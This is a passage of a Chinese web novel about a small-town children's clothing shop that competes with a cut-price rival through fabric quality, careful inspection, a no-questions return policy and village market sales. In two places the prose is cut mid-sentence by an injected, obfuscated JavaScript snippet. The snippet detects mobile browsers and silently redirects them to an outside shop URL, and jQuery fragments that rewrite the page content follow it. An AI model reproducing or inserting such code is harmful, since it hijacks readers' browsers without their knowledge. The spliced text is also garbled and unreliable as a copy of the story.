“那也不能让他这么欺负人!咱们的衣服明明是好东西,用的是最好的新疆长绒棉,缝得又仔细,他这么造谣,别人都不敢来买了,咱们的生意还怎么做?” 林凡松开手,转身走到柜台后,拉开那个有点旧的木头抽屉—— 抽屉拉开时还“吱呀”响了一声,里面整整齐齐叠着几块布料样本,有浅粉、浅蓝、米白三种颜色,都是用塑料袋封好的。 他拿出一块浅粉色的样本,递到王猛手里: “欺负人?咱们用品质打回去,比吵嘴管用。你摸这布料,是我新让新疆阿克苏的厂家寄来的样本,纤维长度达到38毫米,比国家童装面料的标准还高出22.6%—— 国家规定童装用棉的纤维长度不能低于31毫米。去年行业协会做过测试,这种新疆长绒棉面料,经过50次水洗后,依然能保持85%的柔软度,普通棉花洗30次就硬得像纸板了。” 林凡说着,又从衣架上展开一件刚做好的米白色童装,指着领口说: “你看这领口,我特意加了双层棉,孩子穿的时候不勒脖子;袖口用的是松紧带,洗了不会松垮。 钱老西的衣服就算卖得再便宜,用的是等外棉,里面还掺了化纤,洗三次就硬化,还起球,顾客穿两次就知道不好了,迟早会明白一分价钱一分货的道理。” 王猛捏着布料样本,感受着手里的柔软,又看了看那件童装的细节,胸口的火气慢慢降了下去,点了点头: “哥,我听你的,咱们不跟他一般见识,就用品质说话!下次他再造谣,咱们就把质检报告和面料样本摆出去,让大家自己看!” 2018年的中国县城童装市场,正深陷“低价内卷”的泥沼。 据中国服装协会当年数据显示,县城童装市场规模约1200亿元,其中65%的份额被义乌、广州等地的低价尾货占据—— 这些尾货多是库存积压款或简易加工品,成本极低但质量堪忧,甲醛超标、面料起球是常态。 彼时县城商业街的童装均价,短袖普遍35元、外套60元,可钱老西却凭着义乌尾货的成本优势,把三家门店的橱窗贴满“短袖19元、外套39元”的红底黄字标语。 他的货源每件成本比正经厂家低40%,单件短袖成本仅8元,靠着“赔本赚吆喝”的低价策略,硬生生抢下整条街60%的客流。 跟着降价的小商户们很快陷入绝境: 街西头“童乐屋”老板咬牙把外套降到35元,可成本就要32元,月利润从8000元暴跌到不足2000元,连房租都快覆盖不了; “宝贝衣橱”更惨,降价后每件衣服利润仅剩3元,还得承担库存损耗—— 有次进的50件牛仔裤,因面料是回收棉,顾客穿一周就开线,退回来12件,最后老板索性挂出“转让”招牌,转行去开了水果店。 林凡的“笑笑童装店”刚开半年,就被这场价格战挤压得门可罗雀。九月的一个傍晚,县城已经有了凉意; 他守着空荡荡的店铺直到七点,只卖出3件特价短袖,日销量不足20件的日子已持续半个月。 对面钱老西的门店里,家长们挤在货架前挑衣服,孩子们拿着19元的短袖打闹,对比之下,他的店里连试衣间的灯都没开过。 林凡攥着泛黄的账本叹了口气:账本上记着每月4500元的房租,进货时欠批发商的2万元还没还,货架上的衣服因没人翻动,边角都起了皱。 他盯着那些皱巴巴的衣服,突然打定主意:不跟低价拼消耗,要靠“品质+服务”凿出一条差异化的路。 林凡靠在县城童装店的玻璃柜台上,指尖无意识摩挲着货架上一件印着小熊的卫衣——面料摸起来像砂纸,领口的螺纹一扯就松垮,是上周从尾货市场收来的便宜货。 窗外,卖菜的张婶正领着孙女进店,孩子的袖口磨得发亮,小手一直揉着胳膊:“奶奶,痒。” 张婶拿起那件小熊卫衣,又放下,指尖在标签上蹭了蹭: “凡啊,这衣服是便宜,可上次买的那件,洗了一次就缩得穿不上了,孩子哭着说同学笑她衣服变小了。” 她声音压得低,却藏不住无奈,“我们不是舍不得给娃花钱,是怕买着‘看着省钱,穿了闹心’的——要么磨皮肤,要么线头勾住头发,要么穿两次就变形,最后还是得扔,反倒亏了。” 林凡看着孩子委屈的模样,又摸了摸那件尾货卫衣的粗糙面料,忽然想起前几天李姐来退货的场景: 她攥着一件起球的外套,眼圈红红的,说孩子穿着去幼儿园,被小朋友说“衣服旧旧的”,回来就不肯再穿了。 那一刻,他忽然明白,县城家长要的不是“便宜”,是“值当”——是孩子穿得舒服、体面,是衣服能经得起洗晒,能让孩子穿得久一点。 他把那件尾货卫衣从货架上拿下来,塞进角落的箱子里。 阳光从窗外照进来,落在货架上几件他特意找工厂定制的纯棉T恤上,面料柔软得能裹住指尖,领口的螺纹紧实有弹性。 林凡忽然下定决心:要打破低价魔咒,就得先跳出“尾货圈”——得找靠谱的工厂,做真正让家长放心、让孩子舒服的衣服,哪怕利润薄一点,也比看着孩子委屈、家长无奈强。 他花了两周时间,把苏州、无锡的童装代工厂跑了个遍。 六月的江南总裹着黏腻的暑气,他的球鞋鞋底磨出了浅沟,帆布包里的笔记本记满了密密麻麻的字:工厂地址、面料成分、检测报告编号,页脚还沾着工厂车间飘来的棉絮。 最后站在苏州工业园区顺和服饰的大门前时,他攥着被汗水浸软的笔记本,终于松了口气; 这家厂的院墙爬着翠绿的藤蔓,车间的玻璃窗擦得透亮,能看见里面工人戴着白色手套,正把叠得方方正正的童装装进印着外文的纸箱。 后来他才知道,顺和是当地小有名气的出口代工厂,常年给日本母婴品牌“千趣会”、韩国“阿卡邦”代工。 车间角落的展示架上,欧盟Oeko-TexStandard100认证证书塑封得发亮,旁边摆着检测报告复印件: 甲醛含量≤20mg/kg,面料色牢度达到4级以上——工人特意拿了块样布给他看,“您洗十次试试,这颜色一点都不会掉”。 他指尖划过样布,棉布细腻得像婴儿的皮肤,凑近闻只有淡淡的棉絮香;不像之前去的县城小厂,布料摸起来糙手; 叠布的案板上还沾着没洗干净的染料,老板只含糊说“没检测过,但便宜”,他见过那厂的衣服,洗两次领口就发皱,水还会染成浅粉色。 只是顺和的出厂价,比县城小厂贵了整整一倍。 普通小厂的短袖15元一件,这里要30元。批发商知道后,叼着烟拍他的肩膀,烟味混着汗味扑过来: “林凡你疯了? 县城人买衣服只看价签!你这短袖要卖50元,谁会买啊?” 他当时正坐在批发商的店里,手里捏着顺和的样布,指腹反复摩挲着布料的纹路,抬头时眼神很亮: “张哥您看,钱老西家的短袖19元,可家长买回去洗一次,领口就卷成了麻花,下次再也不会买; 我这短袖虽然贵,面料扎实,孩子能穿整个夏天,算下来其实更划算——家长心里都有数,谁不想给孩子穿舒服的?” 第一批升级款,林凡只定了三个款式,却在工厂磨了整整三周。 工厂办公室的日光灯管连闪了两次,他手里的设计稿边缘已磨得发毛,每处花瓣的弧度、每针绣线的密度,都要跟老师傅掰扯到暮色漫进窗户。 有次师傅嫌他较真,把平绣样品往桌上一放: “县城孩子穿,哪要这么讲究?” 林凡没反驳,只把样品贴在自己手腕上蹭了蹭,指尖触到粗糙的针脚,默默把“花瓣必须锁边”五个字描得更重。 他从不用感觉定款。 每到下午四点半,县幼儿园、城东幼儿园、育才幼儿园的门口就多了两张熟悉的身影—— 林凡扛着折叠小桌,王猛抱着印着卡通熊的问卷和削尖的彩色铅笔。金色夕阳把幼儿园铁栅栏染成暖橙,宝妈们挎着帆布包,怀里的小家伙攥着皱巴巴的画纸,有的还在流着口水啃手指。 王猛递问卷时总笑着弯腰:“麻烦您帮孩子选选喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607506|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的颜色”,林凡则蹲得跟孩子一般高,指着问卷上的图案轻声问: “小朋友,这个黄灿灿的太阳花,是不是比小红花更像小太阳呀?” 两百份问卷发出去,回收的186份里,82%的铅笔印都落在了黄色系图案上,有的孩子还在旁边画了歪歪扭扭的小笑脸。 跟宝妈聊天时,他更听进了心里。 一位穿米色外套的宝妈把孩子的袖子轻轻撸起,手腕处淡粉色的旧印子还没消,她声音发颤: “上次买的衣服有字母贴布,硬得像小石子,孩子穿了两天就磨红了,晚上哭着说‘胳膊疼’, 现在看见带贴布的我都躲着走。” 林凡摸了摸那处旧印,指尖能感觉到皮肤的细腻,他默默在笔记本上画了个圈,旁边写着“所有图案边缘必须磨平,杜绝尖锐”。 于是,主图案定了“笑脸向日葵”,两处优化藏满了心思。 画设计稿时,他总把圆规贴着花瓣边缘转,转完还要用指腹蹭蹭画纸: “再圆一点,不能有半点扎手的地方”; 选花蕊棉线时,他在面料市场蹲了一下午,老板拿着15元一卷的普通棉线劝他: “小林,这线看着跟抗菌线没差,能省不少钱。” 他却捏着两卷线对比—— 普通线纤维粗硬,抗菌线软得像云朵,贴在手腕上蹭一蹭,连风都带不走暖意。“就要45元的,”他抬头时眼里亮着光,“能抑螨虫,孩子出汗也不会痒得抓胳膊。” 工艺上,他更是“吹毛求疵”到让师傅哭笑不得。 花瓣要锁边绣,比县城常见的平绣多3道工序——平绣每厘米8针,针脚松得能勾住孩子的小指甲; 锁边绣每厘米12针,细得像撒了把碎米粒。张师傅戴着老花镜穿针,嘴里念叨: “这么细的针脚,一天顶多做十件。” 林凡却守在旁边,等第一件样品绣好,他先把花瓣贴在脸颊上蹭了蹭,又扯着衣角轻轻拽了拽,确认顺滑又结实,才笑着说: “张叔,您看,孩子扯着跑跳都不会脱线,值。” 袖口“笑笑”二字,他更是比了又比。 宋体样品的折角尖尖的,用手一蹭就有轻微的摩擦感;楷体的笔画圆钝,摸起来像棉花糖的边儿。 他想起白天在幼儿园看见的小家伙,跑跳时总爱抬着胳膊挥来挥去,要是袖口磨到嫩生生的手腕,肯定又要红着眼眶找妈妈。 他把楷体样品揣进兜里,路过玩具店时还特意摸了摸毛绒小熊的爪子—— “就像这样软和,才不会磨疼孩子”。 到货那天晚上,晚风裹着巷口馄饨摊的热气吹过来,又裹着凉意缩回去,气温降到18℃时,林凡的薄外套领口已经沾了层细灰。 他和王猛搬来折叠桌,桌腿在门口青石板上磕出“笃笃”响,台灯插在墙角插座里,暖黄的光刚好罩住摊开的连体衣。 两人披着同款式的灰外套,手指都冻得有点发红,却还是逐件把衣服抻平,检查标准细到让路过的邻居都探头看: 先摸布料有没有结团:指尖贴着新疆长绒棉反复摩挲,像在抚平宣纸的褶皱,纤维该是顺溜的,一碰到起球的地方,指甲就轻轻掐住那处凸起—— “这棉线绞在一起,孩子穿会硌皮肤”,林凡说着把衣服放进次品堆,最后数了数,竟挑出7件; 再翻里子看针脚: 王猛从口袋里摸出软尺,按在缝边一寸寸量,林凡则凑着头数针脚,拇指指甲顺着线迹划过去; 每数完一寸就用铅笔在布角画个小圈,少一针的就捏着衣摆往“待返工”箱子里放,布料摩擦的“窸窣”声里,又挑出5件; 最后对着台灯照绣标: 台灯被挪得更近,光透过布料映出银线的光泽,林凡眯着眼,手指捏着衣摆轻轻转角度,银线没反光的、歪了超过0.5毫米的,都被他指尖点出来,又添了3件。 王猛翻到第三十件时,揉眼睛的动作重得像要把眼球搓热,眼角还挂着点生理性的泪,打哈欠时下巴都抬得发僵: “凡子,咱这比厂家质检还严,顾客买衣服就看个款式,谁会凑这么近看绣标?”他说着把软尺卷起来,指节因为用力有点发白。 林凡却没抬头,正拎着件歪了半毫米的连体衣,指腹蹭过绣标上的小太阳,能摸到银线细微的凹凸感: “你去钱老西店里看过没? 第四十一章:灯下的质检 上次我路过,看见有宝妈拿着件向日葵外套跟店员吵,那花瓣是机器印的,洗两次就掉渣,露出里面糙得扎手的回收棉,线头粘在孩子衣领上,宝妈急得眼圈都红了。” 他把衣服放进次品堆时,动作轻得像怕碰坏了什么,“咱这招牌,差一点就是给顾客退货的理由—— 宝妈们给孩子买衣服,比给自己买还仔细,袖口的针脚、领口的布料,哪处细节没做好,她们一眼就能看出来,咱不能让人家抱着希望来,拿着糟心的衣服走。” 那些挑出来的15件次品,叠得整整齐齐,林凡没像其他商户那样“偷偷混着卖”,而是找了个新纸箱,每层都垫了软纸,还附了张手写的质检报告; 连“第3件左袖针脚少2针”“第11件绣标偏移0.8毫米”都标得清清楚楚,要求工厂重新加工。 工厂老板来取货时,接过报告翻了两页,手指在“返工要求”那栏顿了顿,抬头看林凡的眼神里多了点佩服: “县城商户里,你是第一个跟我们要‘返工报告’的,连针脚数都标得这么细。” 第二天开店时,晨阳正斜斜地淌进橱窗,把挂在最前排的碎花小外套染得暖融融的。 林凡从柜台后拎起件绣着小雏菊的卫衣,特意指尖捏着绣标边缘,对着阳光举得高高的—— 那花蕊里的银线立刻泛出细碎的光,像撒了把星星碎,他笑着冲刚进门的宝妈晃了晃: “您瞧这细节,太阳底下一照就亮,钱老西家的仿品绣不出这劲儿来。这哪是图案啊,就是咱的‘防伪标’,洗十次都不会暗。” 来的是常逛的李姐,手里牵着刚满2岁的妞妞。妞妞扎着俩软乎乎的羊角辫,小手正拽着李姐的衣角,眼睛直勾勾盯着橱窗里的小熊玩偶卫衣。 李姐蹲下来,把林凡手里的卫衣凑到妞妞面前,指尖轻轻蹭过绣标:“上次在别家买的小熊衫,洗一次绣标就卷了边,妞妞还哭了好一会儿。 你这摸着就结实,针脚密得都看不见线头。”说着她掏出手机,特意调了近景拍绣标,又翻出加绒的灯芯绒裤子,捏着裤腿给林凡看: “妞妞总爱爬着玩,膝盖那儿磨破好几条裤子了。你这裤子绒厚,针脚还比别家密两圈,肯定耐穿——我再拿件粉色的,配她那双小靴子正好。” 后来李姐真成了店里的常客,没过一周就拉了小区里10多个宝妈,建了个“笑笑童装团购群”。 每次林凡上新,她总先在群里发细节图,连衣服内衬的包边都拍清楚,还说“我家妞妞试过了,舒服不闷汗”,带头下单的总是她。 那天收工时,柜台后的竹篮里堆着厚厚一叠小票,光升级款的卫衣就卖了42件—— 比前一周的日均销量整整翻了倍。傍晚的夕阳把店里染成橘红色,林凡坐在柜台后数营业额,指尖偶尔沾点口水,数得又快又仔细,嘴角的笑意藏都藏不住。 王猛正收拾着挂衣架,刚把最后一件外套叠好,林凡就站起来,拍了拍他的肩膀,力道里带着实打实的开心: “你看,当初咱抠那几针绣线、多缝两道针脚的功夫,没白费吧?”王猛挠着头笑,手里还攥着刚叠好的小裤子,布料上的阳光味儿,混着淡淡的洗衣液香,暖烘烘的。 初秋的阳光斜斜扫进林凡的童装店,带着刚褪去暑气的暖,落在货架木纹上洇出浅金光斑。叠得方方正正的小卫衣还裹着刚拆包的气息—— 混着棉絮的软白味和阳光晒过的淡暖,指尖碰上去能捏出轻轻的绒感。挂杆上的背带裤被穿堂风拂得晃了晃; 哑光塑料小纽扣像颗颗奶白硬糖,撞在一起发出细碎的“嗒嗒”声,可满店的可爱模样,却没等来多少热闹的脚步声。 品质好不容易提上去,林凡正低头核对着进货单,黑色水笔的笔尖在“100码卫衣×20”旁顿了顿—— 纸上还留着他早上算库存时画的小勾,墨渍晕开一点。眼角余光忽然黏住几位宝妈,她们在童装区走得慢,像怕碰坏什么似的。 最前头那位扎着低马尾的宝妈,发尾沾着点细碎的**躁,怀里抱着个睡熟的娃娃: 浅蓝的袜子滑到脚踝,露出一小截粉嫩嫩的皮肤,娃娃的小拳头还攥着片皱巴巴的纸巾,呼吸轻轻顶得胸口的小围嘴微微起伏。 她另一只手捏着件鹅黄色连体衣,指腹蹭过衣襟的软绒,轻轻凑到娃娃身上比—— 领口刚碰到娃娃的小下巴,娃娃忽然动了动睫毛,她赶紧把衣服往后撤半寸,又退到货架前眯着眼瞅尺码表: 眉头拧成个小小的疙瘩,眉间还压出一道浅印,嘴唇抿着嘟囔: “这100码现在穿正好,可孩子长得快,过俩月就短了;110码又太肥,袖子能罩到手腕,吃饭都蹭得脏……” 声音压得低低的,怕吵醒怀里的娃。 手指无意识地抠着衣摆的锁边,把那截布料抠出一点点**絮,最后轻轻叹口气,肩膀垮了半分,又把连体衣抻平,慢慢挂回原位,还顺手把旁边歪了的小裙子扶了扶。 旁边穿米白外套的宝妈也跟着点头,手里捏着条深蓝色牛仔裤—— 裤脚绣着只小小的灰兔子,耳朵都快被她捏得变了形。 她翻来覆去看裤腰上的尺码标,指甲盖剪得短短的,边缘还带着点倒刺,“是啊,咱们这县城买衣服,不像大城市能退。 上次给我儿子买了件外套,回来才发现拉链不好拉,找店家说‘出门概不退换’,最后只能压箱底,白瞎了几十块……” 话说到最后,声音涩涩的,又把牛仔裤凑到眼前看了看,终究还是轻轻放回货架,还特意往里面推了推,怕碰掉旁边叠着的小毛衣。 林凡站在收银台后,手里的笔顿了半天没落下,墨汁在进货单上晕出个小小的黑点。 他清楚县城服装行业的“潜规则”—— 几乎所有店家都把“出门概不退换”当不成文的规矩,有的甚至用粗黑笔写在购物袋上,字恨不得比店名还大,生怕顾客事后找麻烦。 前阵子还有个阿姨来问能不能换尺码,他当时攥着笔杆没敢应,最后阿姨叹着气走了。可刚才宝妈们的样子,他看得明明白白: 不是嫌衣服不好,是怕花了钱买错,怕辜负了想给孩子添件新衣服的心意——那眼神里的纠结,比直接说“嫌贵”更让人心头发紧。 他没再多想,转身从抽屉里翻红纸:抽屉里叠着几沓彩纸,红纸压在最下面,抽出来的时候还带着点静电,贴在手指上。 他找了支粗马克笔,红色的笔帽有点松,拔的时候“咔嗒”响了一声。笔尖在红纸上顿了顿,他身子往前倾了倾,胳膊肘抵着柜台,一笔一划写得格外认真: “七天无理由退换”——“七天” 两个字写得格外重,笔尖都有点弯了,笔画边缘洇出淡淡的红。 末了还特意把纸往跟前凑了凑,怕写歪,又加了行小字:“尺码不合适、不喜欢都能换,不让您多花一分冤枉钱”,每个字都写得方方正正,像在给人打包票。 写完他搬来小凳子—— 塑料的凳面有点发黄,凳腿还缠着圈旧胶带——踩上去的时候轻轻晃了一下,他赶紧扶了扶门框稳住。 把红纸举到店门最显眼的位置比了比,确保正对着路口,来往的人抬头就能看见,又撕了段透明胶带,把红纸的四个角都贴得牢牢的,连边角的褶皱都捋平了。 风从路口吹过来,带着点巷口桂花树的甜香,红纸的边角轻轻掀起来又落下,像在给路过的人招手,倒像给每一个想进店的宝妈,递了颗稳稳的定心丸。 林凡站在门口,看着那片红,手指还攥着剩下的胶带,刚才发紧的胸口忽然松快了,嘴角也悄悄扬了点弧度。 初秋的风裹着街边烤红薯的甜香,林凡刚把红底黑字的“七天无理由退换”告示贴在服装店玻璃上—— 胶水还没干透,边角微微卷翘,隔壁卖鞋的张姐就踩着“噔噔噔”的高跟鞋跑了过来。 她围裙上沾着块浅褐色鞋油印,手一搭冰凉的玻璃就“笃笃笃”地敲,嗓门比平时高了两个度: “林凡,你疯了?你扒着县城转一圈看看,哪家服装店不是把‘出门概不退换’钉在收银台最显眼的地方?” 她往前凑了凑,手指点着告示上的“无理由”三个字,语气里满是急: “我跟你说俩真事,你可得听进去!就上个月街东头‘童趣屋’,有个宝妈抱着刚满周岁的娃来换外套—— 那外套吊牌还没拆呢,淡蓝色的,上面绣着小鸭子,宝妈说回家试了嫌大,想换小一码。 结果店主叼着烟坐在柜台后,眼皮都不抬一下,抓过外套‘啪’地甩在水泥地上,烟圈慢悠悠飘着,张嘴就骂‘你买的时候眼瞎啊? 不会自己看尺码?’ 宝妈怀里的娃吓得‘哇’地哭了,她自己脸涨得通红,眼泪在眼眶里打转,攥着外套的手指都泛白,吵到市场管理处也没用,最后只能抱着哭唧唧的娃,捏着皱巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607507|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴的外套自认倒霉; 还有粮油店的老周,头发都白了大半,背也有点驼,上个月扛着袋发霉的面粉来退—— 那面粉袋角都潮得发黑,能看见霉点往下掉。 店主叉着腰站在店门口,唾沫星子直往老周脸上溅,骂他‘你是不是故意把面粉放坏了来讹我?’老周手背青筋都暴起来了; 嘴唇哆嗦着想说什么,可话到嘴边又咽了回去,最后还是低着头,颤巍巍地扛着那袋漏了点面粉的袋子往回走,白花花的面粉撒了一路,风一吹,飘得满地都是。” 张姐的担心不是没道理。 林凡收银台的抽屉里,还压着张皱巴巴的县城服装行业调研表—— 是之前托朋友做的,他用红笔在“95%商户标注‘不退换’”那行圈了个粗粗的圈,墨迹都晕开了点。 那些“不退换”的牌子,几乎都用红漆写在硬纸板上,钉在各家收银台正上方,字磨得发亮,理由清一色是“小本生意,退换货赔不起”。 他还记得上次去批发市场进货,批发商叼着烟拍他肩膀,语气里满是不屑:“小林啊,听哥一句劝,千万别搞什么退换! 有的人精着呢,穿去孩子生日聚会拍了照,衣服上还沾着蛋糕奶油就来退,到时候你找谁说理去?哭都没地方哭!”旁边几个商户也跟着点头,手里的进货单哗哗响,眼神里都是认同。 但林凡没松口。他转头瞅了瞅店里挂着的童装—— 最显眼的那件鹅黄色小裙子,领口还留着点试穿时蹭的奶渍,裙摆上的蕾丝边轻轻晃着。 他伸手摸了摸软乎乎的棉布料,想起上周有个宝妈带着扎羊角辫的女儿来试穿,孩子踮着脚转了两圈,裙摆扬起小小的弧度; 眼睛亮得像星星,可因为袖子长了半寸,宝妈犹豫了半天,最后还是拉着孩子走了,那孩子回头瞅裙子的眼神,他到现在还记得。 “家长给孩子买衣服,最怕的就是‘看着合适,穿了不合身’——” 他声音不高,却透着股坚定,指尖轻轻拂过裙摆的蕾丝,“有的孩子胖,肩宽了穿不下,硬生生把衣服撑变形; 有的孩子长得快,刚买的衣长就短了,穿一次就没法穿。要是能解决这个顾虑,就算我们多费点事,他们宁愿多花点钱。” 告示用红底黑字打印,贴在玻璃门右侧的宣传栏上,边角被早市的风吹得微微卷边,贴出第三天,店里刚收完晨间的热闹,就出了状况。 一位穿蓝色碎花围裙的大妈掀开门帘进来,围裙下摆沾着点干面粉—— 像是刚蒸完馒头就跑来了,鬓角几缕灰发被汗贴在脸颊,怀里紧紧抱着件粉色外套。 那外套一看就穿过: 衣领上嵌着两粒干硬的饭粒,米白色的针织边还勾了根线头,袖口沾着点淡淡的污渍。 她另一只手拎着竹编菜篮子,茄子紫得发亮,青椒带着新鲜的绿蒂,几滴水顺着篮沿往下滴,在水泥地上晕开小小的湿痕,还没等落地,就被门口进来的风卷得晃了晃。 王猛正蹲在货架前整理100码的童装,听见动静抬头,见这阵仗赶紧站起来,手伸到一半又顿住; 指尖离外套还有两寸远,眉头轻轻皱起,语气里带着为难:“阿姨,这衣服都穿脏了,您看这饭粒都嵌进线头里了,实在没法退啊!” 林凡从收银台后绕过来,手掌轻轻按在王猛胳膊上—— 他手温偏暖,按下去时带着点安抚的劲儿,把王猛往后带了带。 自己接过外套时,手指特意避开那两粒饭粒,指腹蹭到布料,还能感觉到残留的体温。他脸上带着笑,眼角弯出浅淡的弧度: “阿姨,您先坐那边的藤椅,我给您倒杯热水。” 说着指了指墙角的旧藤椅,椅面上铺着块小花布。 “特意放了枸杞,您从早市跑过来,肯定渴了。” 他转身去操作台拿杯子,白瓷杯上印着只小熊,倒热水时蒸汽往上冒,裹着淡淡的枸杞香,枸杞在水里慢慢舒展,把水染成浅橙红色。 大妈坐在藤椅上,双手捧着杯子,指尖抵着温热的杯壁,愣了好一会儿,才慢慢开口,声音越说越小: “其实是我家娃穿了两天,昨天跟隔壁小朋友撞了衫,哭着闹着说‘不要跟别人一样’,我瞅着你这告示写着‘七天无理由’,就……就厚着脸皮来了。 没想到你这么痛快。”她说着,接过林凡递来的退款时,指尖有点抖,脸从耳根红到了脸颊,还下意识拽了拽围裙的边角。 第四十二章:童装店的阳光与信任 没过三天,这大妈又掀开门帘进来,这次没拎菜篮子,倒提着个布袋子,进门就扬着嗓门喊: “林老板!我来买加绒外套!” 风把她的声音吹得亮堂堂的,身后跟着五个宝妈,有的推着婴儿车,有的手里牵着蹦蹦跳跳的孩子,叽叽喳喳的。 大妈把布袋子往收银台上一放,里面是小半袋红通通的小番茄: “自家阳台种的,没打药,你尝尝!” 她指着货架上的深灰色加绒款:“就要120码的,我家娃上次穿你家衣服,说比别的软和!” 至于那件沾了饭粒的粉色外套,林凡没扔。 他先坐在操作台旁,用指甲轻轻抠掉衣领上的饭粒——干硬的饭粒粘得紧,他抠的时候特意放轻了力道,怕勾坏布料。 接着放进搪瓷盆里,倒了半瓶婴儿洗衣液,瓶身上印着“无荧光剂”,倒出来是淡淡的奶香味。 泡了十分钟,他用软毛刷顺着布料纹理刷,水慢慢变成浅粉色,冲了三遍,直到水里再也没有泡沫。 之后放进海尔婴儿衣物紫外线消毒机,按下开关时,机器发出轻微的嗡嗡声,30分钟后取出来,外套还带着点温热的消毒味。 最后,他把外套挂在收银台旁的展示架上,别了张浅蓝色小卡片,上面写着“已消毒,仅作展示”。 旁边还摆了一小瓶同款洗衣液,有人指着外套问起,他就拿起洗衣液晃了晃,笑着说: “就算是退换的衣服,我们也会这么仔细处理—— 用婴儿专用的洗衣液洗三遍,再消毒半小时。大家给孩子买衣服,图的不就是个安心嘛。” 月底盘点时,店员小苏指尖划过退换货登记本,纸面还留着淡淡的铅笔印—— 最上头那行写着“碎花罩衣,张大妈”,她想起老人家来退衣服时的模样: 藏青色围裙还没摘,手里攥着罩衣的衣角,袖口那圈菜籽油渍没洗干净,像撒了把碎金, “孙子吃饭泼的,我擦了半天没擦掉,怪我没看紧……”话里带着歉意,小苏没提“影响二次销售”,只笑着接过衣服,帮她填了退款单。 剩下四件倒都是崭新的,不过是尺码差了点:有件粉色连体衣买大了一号,宝妈抱着刚会扶站的娃来换,说 “忘了这小家伙这个月又长了两厘米”;还有件牛仔裤买小了,来换的阿姨还顺带拎了袋刚烤的饼干,“上次你们帮我留货,这点心意别嫌弃”。 但账本另一页的红笔数字却透着惊喜: 之前每月回头客总在45人上下,占比刚过30%,这个月数字却跳到了82,55%的占比让小苏一抬头就能撞见熟面孔—— 穿米色针织衫的李姐推着婴儿车来,车筐里还放着上次没买完的小袜子;扎着丸子头的王嫂牵着娃,进门就喊“上次试的蓝色外套还有吗”。 这天下午,常来的赵姐抱着件藏青外套走进来,刚坐下就把手机递到小苏面前: “你看你看,我同事给娃买的钱老西外套,洗一次就起球,袖口那线都开了,像挂了串小毛线球。” 说着她又把自家娃穿的同款外套拽过来,翻出袖口给小苏看:浅灰色里子干干净净,连胸口绣的小鸭子眼睛都没掉, “我家这个穿俩月了,娃天天在幼儿园爬滑梯、滚垫子,洗了三次还跟新的一样,比贵五块钱值多了!” 正聊着呢,门口又进来个穿格子衬衫的宝妈,手里捧着件叠得整整齐齐的浅蓝连体衣。布料洗得有些发白,领口的螺纹却没松垮,袖口也没起球。 她把衣服轻轻放在柜台上,眼里带着软乎乎的笑: “这是老大穿的‘笑笑童装’,质量好得很,我想留着给老二穿。今天来订件明年的新款,就要这种软乎乎的料子,娃穿得舒服。” 小苏指尖碰了碰连体衣的布料,还能感觉到洗过无数次后的柔软,像晒过太阳的棉花。 县城市场逐渐稳定后,林凡又把目光投向了乡镇。 他翻了半个月的县城地图和人口数据:县城周边有5个乡镇(李家庄、王集镇、刘村铺、赵湾、陈屯); 常住人口中0-6岁儿童近8000人,其中李家庄1800人、王集镇2100人,是孩子最多的两个镇。 但他跑了两次集市发现,这里的童装大多是10元、20元的地摊货,是比县城尾货更差的“三级货”。 李家庄集市上,有个宝妈给孩子买了件15元的短袖,回家洗了一次就缩水3厘米,孩子穿着紧绷绷的,只能扔了再买; 王集镇的一位奶奶,给孙子买了条20元的牛仔裤,裤腰上的塑料纽扣一扯就掉,孙子差点误食。 林凡跟王猛说:“乡镇家长不是舍不得花钱,是没地方买好衣服——咱去把好货带过去,肯定有市场。” 王猛第一次去李家庄赶集,推的是辆改装过的二八大杠自行车: 后架焊了三层松木货架,每层长80厘米、宽40厘米,能放10件衣服,货架刷了清漆防蛀,还铺了米色帆布(怕灰尘弄脏衣服,帆布是从县城布店买的,25元一米); 车把上绑了个充电小台灯(赶集早,早上六点天没亮,方便顾客看布料细节);车筐里装着两样“神器”: 一块剪下来的新疆长绒棉样品:用来演示“怎么搓都不褪色”,他还带了瓶温水,搓完水还是清的; 一个弹簧小秤:有老人总觉得“衣服轻就是不好”,这秤能称到500克,一件外套约200克,他就跟老人说“这衣服料足,不轻飘,孩子穿着暖和”。 一开始王猛放不开,蹲在角落摆弄货架,连吆喝都不敢。旁边卖红薯的刘大叔看不过去,手里的铁铲往地上一磕,拍了拍他的肩膀: “小伙子,你这衣服摸着软和,针脚也密,比那边地摊上的强十倍——得喊出来!我这红薯喊了十年‘甜得流蜜’,才有回头客,你这好东西不喊,谁知道?” 王猛红着脸,憋了半天终于喊出来: “笑笑牌童装,新疆长绒棉,耐洗不缩水,七天能退换!” 这话刚落,就有个拎着菜篮的大娘走过来: “小伙子,我摸摸你这外套。” 她先捏了捏布料感受厚度,又翻开里子看针脚(里子针脚跟面子一样密),还把袖子抻了抻看弹性,当即说: “给我来两件110码的,我家孙子穿的地摊货,洗两次就起球,袖口还变形——你这看着就耐穿。” 那天王猛从早上六点卖到中午十二点,总共卖了13件: 8件加绒外套、5件灯芯绒裤子,赚了320元,比县城店里半天的销售额还多。 临走时,买外套的大娘还往他车筐里塞了半袋红薯: “小伙子实诚,下次赶集还来买。” 王猛推着自行车往回走,一路都在笑,进门就冲林凡喊: 